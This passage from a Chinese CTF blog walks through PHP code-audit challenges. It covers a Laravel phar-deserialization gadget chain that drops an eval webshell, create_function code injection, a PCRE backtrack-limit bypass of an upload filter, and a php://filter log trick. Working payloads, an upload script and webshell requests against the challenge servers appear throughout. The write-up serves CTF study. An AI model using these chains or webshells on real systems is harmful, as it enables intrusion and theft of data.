class="keyword">$this</span>-&gt;formatters[$formatter];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">foreach</span> (<span class="keyword">$this</span>-&gt;providers <span class="keyword">as</span> $provider) &#123;</span><br><span class="line"><span class="keyword">if</span> (method_exists($provider, $formatter)) &#123;</span><br><span class="line"><span class="keyword">$this</span>-&gt;formatters[$formatter] = <span class="keyword">array</span>($provider, $formatter);</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">$this</span>-&gt;formatters[$formatter];</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">throw</span> <span class="keyword">new</span> \InvalidArgumentException(sprintf(<span class="string">'Unknown formatter "%s"'</span>, $formatter));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个一开始构造的是只能执行单个函数，通过在formatters中的数组存储函数名，最后被调用，只是现在还没办法代入参数。来看看venenof7师傅的payload。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Illuminate</span>\<span class="title">Broadcasting</span>&#123;</span><br><span class="line"><span class="title">class</span> <span class="title">PendingBroadcast</span>&#123;</span><br><span class="line"><span class="title">protected</span> $<span class="title">events</span>;</span><br><span class="line"><span class="keyword">protected</span> $event;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($events, $event)</span></span>&#123;</span><br><span class="line"><span class="keyword">$this</span>-&gt;event = $event;</span><br><span class="line"><span class="keyword">$this</span>-&gt;events = $events;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Faker</span>&#123;</span><br><span class="line"><span class="title">class</span> <span class="title">Generator</span>&#123;</span><br><span class="line"><span class="title">protected</span> $<span class="title">formatters</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($forma)</span></span>&#123;</span><br><span class="line"><span class="keyword">$this</span>-&gt;formatters = $forma;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">namespace</span>&#123;</span><br><span class="line">$<span class="title">obj_1</span> = <span class="title">array</span>("<span class="title">dispatch</span>"=&gt;"<span class="title">phpinfo</span>");</span><br><span class="line">$obj_2 = <span class="keyword">new</span> Faker\Generator($obj_1);</span><br><span class="line">$obj = <span class="keyword">new</span> Illuminate\Broadcasting\PendingBroadcast($obj_2, <span class="number">1</span>);</span><br><span class="line">$p = <span class="keyword">new</span> Phar(<span class="string">'./1.phar'</span>, <span class="number">0</span>);</span><br><span class="line">$p-&gt;startBuffering();</span><br><span class="line">$p-&gt;setStub(<span class="string">'GIF89a&lt;?php __HALT_COMPILER(); ?&gt;'</span>);</span><br><span class="line">$p-&gt;setMetadata($obj);</span><br><span class="line">$p-&gt;addFromString(<span class="string">'1.txt'</span>, <span class="string">'text'</span>);</span><br><span class="line">$p-&gt;stopBuffering();</span><br><span class="line">rename(<span class="string">'./1.phar'</span>, <span class="string">'1.gif'</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>这里传入数组是因为<code>getFormatter</code>函数会取formatters数组中的对应方法名的值。</p><p>这里生成1.gif需要先把phar的只读改成可以写才行。具体操作把选项改成off，并且去除注释<code>phar.readonly = Off</code></p><p>然而，重命名无法成功执行……死活不行。。。手动修改ing，上传服务器，抓包拿到图片路径。</p><p>访问<code>http://51.158.73.123:8080/server/editor?action=catchimage&amp;source[]=phar:///var/www/html/upload/image/65628379e91fb1adb860f98cd9f49712/201901/23/bed4111d42fb35cfdcff.gif</code> 成功执行</p><img src="/2019/01/24/code-breaking-lumenserial/1.png"><p>我们知道了服务器的php版本是很新的7.2.12，还有一些相关的php信息。</p><p>为了解决参数问题，必须要引入其他的类，之前的<code>$this-&gt;event</code>只能引用一个参数。</p><p>还是venenof7师傅的方法，如果本身参数不能为数组的话，那就找其他实例的方法，然后在其他实例的方法中再次构造可以控制的执行函数并且参数也能控制。</p><p>这里找到的是<code>ReturnCallback</code>和<code>StaticInvocation</code>。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">ReturnCallback</span></span></span><br><span class="line"><span class="class"></span></span><br><span class="line">public function invoke(Invocation $invocation)&#123;</span><br><span class="line"><span class="keyword">return</span> \call_user_func_array(<span class="keyword">$this</span>-&gt;callback, $invocation-&gt;getParameters());</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">StaticInvocation</span> <span class="keyword">implements</span> <span class="title">Invocation</span>, <span class="title">SelfDescribing</span></span></span><br><span class="line"><span class="class"></span></span><br><span class="line">public function getParameters(): array&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">$this</span>-&gt;parameters;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样我们就有可控的函数和可控的参数。</p><p>整个过程再走一遍，建议大家可以把整个过程用纸画一下，全用脑子有点难。首先，<code>$this-&gt;events</code>赋值成<code>Generator</code>实例这样就会调用<code>__call</code>执行第一个<code>call_user_func_array</code>。其次，在第一个函数执行中调用<code>invoke</code>方法，里面的callback设置成<code>file_put_contents</code>，之后invoke的参数为<code>StaticInvocation</code>的实例，实例中的有数组的参数当做invoke调用的第二个函数执行中的参数。最后就变成了任意代码执行。给一下payload。</p><h2 id="题目payload"><a href="#题目payload" class="headerlink" title="题目payload"></a>题目payload</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Illuminate</span>\<span class="title">Broadcasting</span>&#123;</span><br><span class="line"><span class="title">class</span> <span class="title">PendingBroadcast</span>&#123;</span><br><span class="line"><span class="title">protected</span> $<span class="title">events</span>;</span><br><span class="line"><span class="keyword">protected</span> $event;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($events, $event)</span></span>&#123;</span><br><span class="line"><span class="keyword">$this</span>-&gt;event = $event;</span><br><span class="line"><span class="keyword">$this</span>-&gt;events = $events;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">namespace</span> <span class="title">Faker</span>&#123;</span><br><span class="line"><span class="title">class</span> <span class="title">Generator</span>&#123;</span><br><span class="line"><span class="title">protected</span> $<span class="title">formatters</span>;</span><br><span class="line"><span class="keyword">public</span> <span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($forma)</span></span>&#123;</span><br><span class="line"><span class="keyword">$this</span>-&gt;formatters = $forma;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">namespace</span> <span class="title">PHPUnit</span>\<span class="title">Framework</span>\<span class="title">MockObject</span>\<span class="title">Invocation</span>&#123;</span><br><span class="line"><span class="title">class</span> <span class="title">StaticInvocation</span>&#123;</span><br><span class="line"><span class="title">private</span> $<span class="title">parameters</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($parameters)</span></span>&#123;</span><br><span class="line"><span class="keyword">$this</span>-&gt;parameters = $parameters;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">namespace</span> <span class="title">PHPUnit</span>\<span class="title">Framework</span>\<span class="title">MockObject</span>\<span class="title">Stub</span>&#123;</span><br><span class="line"><span class="title">class</span> <span class="title">ReturnCallback</span>&#123;</span><br><span class="line"><span class="title">private</span> $<span class="title">callback</span>;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">__construct</span><span class="params">($callback)</span></span>&#123;</span><br><span class="line"><span class="keyword">$this</span>-&gt;callback = $callback;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">namespace</span> &#123;</span><br><span class="line">$obj_para = array('/var/www/html/upload/image/618.php', '&lt;?php @eval($_GET[618]);?&gt;');</span><br><span class="line">$obj_1 = <span class="keyword">new</span> PHPUnit\Framework\MockObject\Invocation\StaticInvocation($obj_para);</span><br><span class="line">$obj_2 = <span class="keyword">new</span> PHPUnit\Framework\MockObject\Stub\ReturnCallback(<span class="string">'file_put_contents'</span>);</span><br><span class="line">$obj_3 = <span class="keyword">array</span>(<span class="string">'dispatch'</span>=&gt;<span class="keyword">array</span>($obj_2, <span class="string">'invoke'</span>));</span><br><span class="line">$obj_4 = <span class="keyword">new</span> Faker\Generator($obj_3);</span><br><span class="line">$obj = <span class="keyword">new</span> Illuminate\Broadcasting\PendingBroadcast($obj_4, $obj_1);</span><br><span class="line">$p = <span class="keyword">new</span> Phar(<span class="string">'2.phar'</span>, <span class="number">0</span>);</span><br><span class="line">$p-&gt;startBuffering();</span><br><span class="line">$p-&gt;setStub(<span class="string">'GIF89a&lt;?php __HALT_COMPILER(); ?&gt;'</span>);</span><br><span class="line">$p-&gt;setMetadata($obj);</span><br><span class="line">$p-&gt;addFromString(<span class="string">'2.txt'</span>, <span class="string">'text'</span>);</span><br><span class="line">$p-&gt;stopBuffering();</span><br><span class="line">rename(<span class="string">'2.phar'</span>, <span class="string">'2.gif'</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p>同样上传之后执行一下上面类似的语句就触发执行生成webshell，然后就拿flag。</p><p><code>http://51.158.73.123:8080/upload/image/618.php?618=var_dump(glob(%27/var/www/*%27));</code></p><p><code>http://51.158.73.123:8080/upload/image/618.php?618=var_dump(file_get_contents(%27/var/www/flag_larave1_b0ne%27));</code></p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="http://www.venenof.com/live_CTF%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B.pdf" target="_blank" rel="noopener">http://www.venenof.com/live_CTF%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B.pdf</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;题目分析&quot;&gt;&lt;a href=&quot;#题目分析&quot; class=&quot;headerlink&quot; title=&quot;题目分析&quot;&gt;&lt;/a&gt;题目分析&lt;/h2&gt;&lt;p&gt;php的laravel框架的审计题目。这里记录一下复现过程。整体思路是venenof7师傅的。&lt;/p&gt;
&lt;p&gt;先来看入口，不
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
      <category term="代码审计" scheme="https://hurricane618.me/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>code-breaking easy部分题目writeup</title>
    <link href="https://hurricane618.me/2019/01/10/code-breaking-esay-wp/"/>
    <id>https://hurricane618.me/2019/01/10/code-breaking-esay-wp/</id>
    <published>2019-01-10T06:02:10.000Z</published>
    <updated>2019-01-10T06:45:54.000Z</updated>
    
    <content type="html"><![CDATA[<p>ph师傅的代码审计CTF题目 <code>https://code-breaking.com</code></p><h2 id="easy-function"><a href="#easy-function" class="headerlink" title="easy - function"></a>easy - function</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">$action = $_GET[<span class="string">'action'</span>] ?? <span class="string">''</span>;$arg = $_GET[<span class="string">'arg'</span>] ?? <span class="string">''</span>;</span><br><span class="line"><span class="keyword">if</span>(preg_match(<span class="string">'/^[a-z0-9_]*$/isD'</span>, $action)) &#123;</span><br><span class="line">    show_source(<span class="keyword">__FILE__</span>);</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    $action(<span class="string">''</span>, $arg);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>观察正则表达式可以发现正常的函数名都不行，所以很容易联想到要在函数名中加入其它字符，这道题没想到可以用<code>create_function</code>，一开始一直在想命令执行的函数，但是没有符合要求的……</p><p>想到<code>create_function</code>之后，要测试哪个字符可以使用，这里有师傅用了burp测试函数是<code>var_dump</code>来fuzz，最后fuzz出了<code>%5c</code>，就是<code>\</code>。在小密圈中师傅的解释是PHP的命名空间默认为<code>\</code> ，如果直接写<code>function_name()</code>调用相当于是用相对路径在调用函数，如果写成<code>\function_name()</code>相当于用绝对路径调用函数。如果你在其他namespace里调用系统类，就必须写绝对路径这种写法。</p><p>如何在create_function中执行代码呢？<code>http://blog.51cto.com/lovexm/1743442</code></p><p>这篇文章中介绍了在create_function中如何注入代码并且执行。简单来说是通过输入<code>}</code>来闭合函数，之后再注入我们想执行的代码。</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">$b = create_function(<span class="string">'$a'</span>, <span class="string">"return 666;"</span>);</span><br><span class="line"><span class="keyword">echo</span> $b;<span class="comment">//lambda_xxx</span></span><br><span class="line">$b(<span class="number">1</span>)<span class="comment">//return 666</span></span><br><span class="line"></span><br><span class="line">这个匿名函数等效于</span><br><span class="line">lambda_xxx($a)&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">666</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">如果注入&#125;</span><br><span class="line">lambda_xxx($a)&#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">666</span>;&#125;<span class="keyword">eval</span>(<span class="string">"phpinfo()"</span>);<span class="comment">/*</span></span><br><span class="line"><span class="comment">这样在创建匿名函数的同时会执行我们的恶意代码，这里/* 和//都是可以的</span></span><br></pre></td></tr></table></figure><p>现在能够执行代码了，剩下的就是通过执行代码寻找flag。这里套用一下LoRexxar的payload来搜索文件</p><p><code>http://51.158.75.42:8087/?action=%5ccreate_function&amp;arg=return%20666;}eval($_POST[%27618%27]);/*</code></p><p><code>618=$handle = opendir(&#39;../&#39;);while(($filename = readdir($handle)) !== false){echo $filename.&quot;&lt;br/&gt;&quot;;}</code></p><img src="/2019/01/10/code-breaking-esay-wp/1.png"><p>这样直接file_get_contents获取内容</p><p><code>618=print(file_get_contents(&#39;../flag_h0w2execute_arb1trary_c0de&#39;));</code></p><h2 id="easy-pcrewaf"><a href="#easy-pcrewaf" class="headerlink" title="easy - pcrewaf"></a>easy - pcrewaf</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">is_php</span><span class="params">($data)</span></span>&#123;</span><br><span class="line">    <span class="keyword">return</span> preg_match(<span class="string">'/&lt;\?.*[(`;?&gt;].*/is'</span>, $data);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">empty</span>($_FILES)) &#123;</span><br><span class="line">    <span class="keyword">die</span>(show_source(<span class="keyword">__FILE__</span>));</span><br><span class="line">&#125;$user_dir = <span class="string">'data/'</span> . md5($_SERVER[<span class="string">'REMOTE_ADDR'</span>]);$data = file_get_contents($_FILES[<span class="string">'file'</span>][<span class="string">'tmp_name'</span>]);</span><br><span class="line"><span class="keyword">if</span> (is_php($data)) &#123;</span><br><span class="line">    <span class="keyword">echo</span> <span class="string">"bad request"</span>;</span><br><span class="line">&#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    @mkdir($user_dir, <span class="number">0755</span>);</span><br><span class="line">    $path = $user_dir . <span class="string">'/'</span> . random_int(<span class="number">0</span>, <span class="number">10</span>) . <span class="string">'.php'</span>;</span><br><span class="line">    move_uploaded_file($_FILES[<span class="string">'file'</span>][<span class="string">'tmp_name'</span>], $path);</span><br><span class="line">    header(<span class="string">"Location: $path"</span>, <span class="keyword">true</span>, <span class="number">303</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>首先，文件内容不能有<code>&lt;?</code>，这样就意味着正常的php文件完全gg，然后也可以看到文件名不可控，这就是说没有办法用文件名传输php数据。这道题参考了ph师傅的方法。</p><p>ph师傅的方法是利用了php正则表达式的一个特性，一般的语言在正则表达式匹配的时候会有回溯操作，比如在贪婪或者非贪婪模式下，一开始匹配的内容会为最大匹配，之后会根据正则表达式的内容进行回溯调整。然而php有一个回溯的次数限制，如果超过这个限制正则表达式就会返回false，又由于php的弱类型比较，这样就会绕过if的判断。</p><p>这里有鸟哥的一篇文章介绍php正则匹配的回溯限制</p><p><a href="http://www.laruence.com/2010/06/08/1579.html" target="_blank" rel="noopener">http://www.laruence.com/2010/06/08/1579.html</a></p><p>ph师傅的详细内容</p><p><a href="https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html" target="_blank" rel="noopener">https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html</a></p><p>这里在上传的文件中加入1000000个a就会超过回溯的次数。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requestsimport iosession = requests.session()</span><br><span class="line">agent = <span class="string">'Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM;'</span> \</span><br><span class="line"><span class="string">' Touch; NOKIA; Lumia 920)'</span></span><br><span class="line">headers = &#123;   </span><br><span class="line"><span class="string">"Host"</span>: <span class="string">"51.158.75.42:8088"</span>,    </span><br><span class="line"><span class="string">"User-Agent"</span>: agent,    </span><br><span class="line"><span class="string">"Origin"</span>: <span class="string">"https://code-breaking.com/"</span>,</span><br><span class="line">&#125;</span><br><span class="line">files = &#123; </span><br><span class="line"><span class="string">'file'</span>: io.BytesIO(<span class="string">b'aaa&lt;?php eval($_POST[txt]);//'</span> + <span class="string">b'a'</span> * <span class="number">1000000</span>)</span><br><span class="line">&#125;</span><br><span class="line">html = session.post(<span class="string">'http://51.158.75.42:8088/'</span>, headers=headers, files=files, allow_redirects=<span class="keyword">False</span>)</span><br><span class="line"><span class="keyword">print</span> html.headers</span><br></pre></td></tr></table></figure><p>然后根据打印出来的头部信息，得到webshell的地址 <code>data/558cb3b807e236696e9e2c79295d7fee/1.php</code>，然后构造post数据执行代码，拿flag。</p><p><code>txt=$handler = opendir(&#39;../../../&#39;);while(($filename = readdir($handler)) !== flase){echo $filename.&quot;&lt;br/&gt;&quot;;}</code></p><p><code>txt=print(file_get_contents(&#39;../../../flag_php7_2_1s_c0rrect&#39;));</code></p><h2 id="easy-phpmagic"><a href="#easy-phpmagic" class="headerlink" title="easy - phpmagic"></a>easy - phpmagic</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">if</span>(<span class="keyword">isset</span>($_GET[<span class="string">'read-source'</span>])) &#123;</span><br><span class="line">    <span class="keyword">exit</span>(show_source(<span class="keyword">__FILE__</span>));</span><br><span class="line">&#125;define(<span class="string">'DATA_DIR'</span>, dirname(<span class="keyword">__FILE__</span>) . <span class="string">'/data/'</span> . md5($_SERVER[<span class="string">'REMOTE_ADDR'</span>]));</span><br><span class="line"><span class="keyword">if</span>(!is_dir(DATA_DIR)) &#123;</span><br><span class="line">    mkdir(DATA_DIR, <span class="number">0755</span>, <span class="keyword">true</span>);</span><br><span class="line">&#125;</span><br><span class="line">chdir(DATA_DIR);</span><br><span class="line">$domain = <span class="keyword">isset</span>($_POST[<span class="string">'domain'</span>]) ? $_POST[<span class="string">'domain'</span>] : <span class="string">''</span>;</span><br><span class="line">$log_name = <span class="keyword">isset</span>($_POST[<span class="string">'log'</span>]) ? $_POST[<span class="string">'log'</span>] : date(<span class="string">'-Y-m-d'</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">&lt;!doctype html&gt;</span><br><span class="line">&lt;html lang=<span class="string">"en"</span>&gt;</span><br><span class="line">&lt;head&gt;    </span><br><span class="line">&lt;!-- Required meta tags --&gt;   </span><br><span class="line">&lt;meta charset=<span class="string">"utf-8"</span>&gt;    </span><br><span class="line">&lt;meta name=<span class="string">"viewport"</span> content=<span class="string">"width=device-width, initial-scale=1, shrink-to-fit=no"</span>&gt;    </span><br><span class="line">&lt;!-- Bootstrap CSS --&gt;    </span><br><span class="line">&lt;link rel=<span class="string">"stylesheet"</span> href=<span class="string">"https://cdn.jsdelivr.net/npm/bootstrap@4.1.3/dist/css/bootstrap.min.css"</span> integrity=<span class="string">"sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE="</span> crossorigin=<span class="string">"anonymous"</span>&gt;</span><br><span class="line">&lt;title&gt;Domain Detail&lt;/title&gt;   </span><br><span class="line">&lt;style&gt;    pre &#123;        </span><br><span class="line">width: <span class="number">100</span>%;        </span><br><span class="line">background-color: <span class="comment">#f6f8fa;        </span></span><br><span class="line">border-radius: <span class="number">3</span>px;        </span><br><span class="line">font-size: <span class="number">85</span>%;       </span><br><span class="line">line-height: <span class="number">1.45</span>;       </span><br><span class="line">overflow: auto;       </span><br><span class="line">padding: <span class="number">16</span>px;        </span><br><span class="line">border: <span class="number">1</span>px solid <span class="comment">#ced4da;    </span></span><br><span class="line">&#125;    </span><br><span class="line">&lt;/style&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;&lt;div class="container"&gt;    </span><br><span class="line">&lt;div class="row"&gt;        </span><br><span class="line">&lt;div class="col"&gt;            </span><br><span class="line">&lt;form method=<span class="string">"post"</span>&gt;                </span><br><span class="line">&lt;div class="input-group mt-3"&gt;                    </span><br><span class="line">&lt;div class="input-group-prepend"&gt;                        </span><br><span class="line">&lt;span class="input-group-text" id="basic-addon1"&gt;dig -t A -q&lt;/span&gt;                    </span><br><span class="line">&lt;/div&gt;                    </span><br><span class="line">&lt;input type="text" name="domain" class="form-control" placeholder="Your domain"&gt;                    </span><br><span class="line">&lt;div class="input-group-append"&gt;                        </span><br><span class="line">&lt;button class="btn btn-outline-secondary" type="submit"&gt;执行&lt;/button&gt;                    </span><br><span class="line">&lt;/div&gt;               </span><br><span class="line">&lt;/div&gt;            </span><br><span class="line">&lt;/form&gt;        </span><br><span class="line">&lt;/div&gt;        </span><br><span class="line">&lt;/div&gt;   </span><br><span class="line">&lt;div class="row"&gt;        </span><br><span class="line">&lt;div class="col"&gt;            </span><br><span class="line">&lt;pre class="mt-3"&gt;</span><br><span class="line"><span class="meta">&lt;?php</span> <span class="keyword">if</span>(!<span class="keyword">empty</span>($_POST) &amp;&amp; $domain):</span><br><span class="line">                $command = sprintf(<span class="string">"dig -t A -q %s"</span>, escapeshellarg($domain));</span><br><span class="line">                $output = shell_exec($command);</span><br><span class="line">                $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);</span><br><span class="line">                $log_name = $_SERVER[<span class="string">'SERVER_NAME'</span>] . $log_name;</span><br><span class="line">                <span class="keyword">if</span>(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), [<span class="string">'php'</span>, <span class="string">'php3'</span>, <span class="string">'php4'</span>, <span class="string">'php5'</span>, <span class="string">'phtml'</span>, <span class="string">'pht'</span>], <span class="keyword">true</span>)) &#123;</span><br><span class="line">                    file_put_contents($log_name, $output);</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">echo</span> $output;</span><br><span class="line">            <span class="keyword">endif</span>;</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">    &lt;/pre&gt;        </span><br><span class="line">            &lt;/div&gt;   </span><br><span class="line">            &lt;/div&gt;</span><br><span class="line">            &lt;/div&gt;</span><br><span class="line">            &lt;/body&gt;</span><br><span class="line">            &lt;/html&gt;</span><br></pre></td></tr></table></figure><p>首先还是来看可控点，一个是域名可控，一个是文件名部分可控。然而这里有<code>escapeshellarg</code>导致我们的输入被默认成字符串，没有办法注入命令，所以只能执行域名解析。这里参考fish师傅的方法，这里最需要注意的是<code>file_get_contents</code>，这种文件操作经过blackhat的议题，可以知道都是可以操作php协议流的。而这里是将域名解析的输出写入一个日志中，所以基本思路就是利用php://filter将我们的base64编码的数据解码输入进日志文件中。</p><p>关于文件名的后缀问题，<code>http://wonderkun.cc/index.html/?p=626</code> 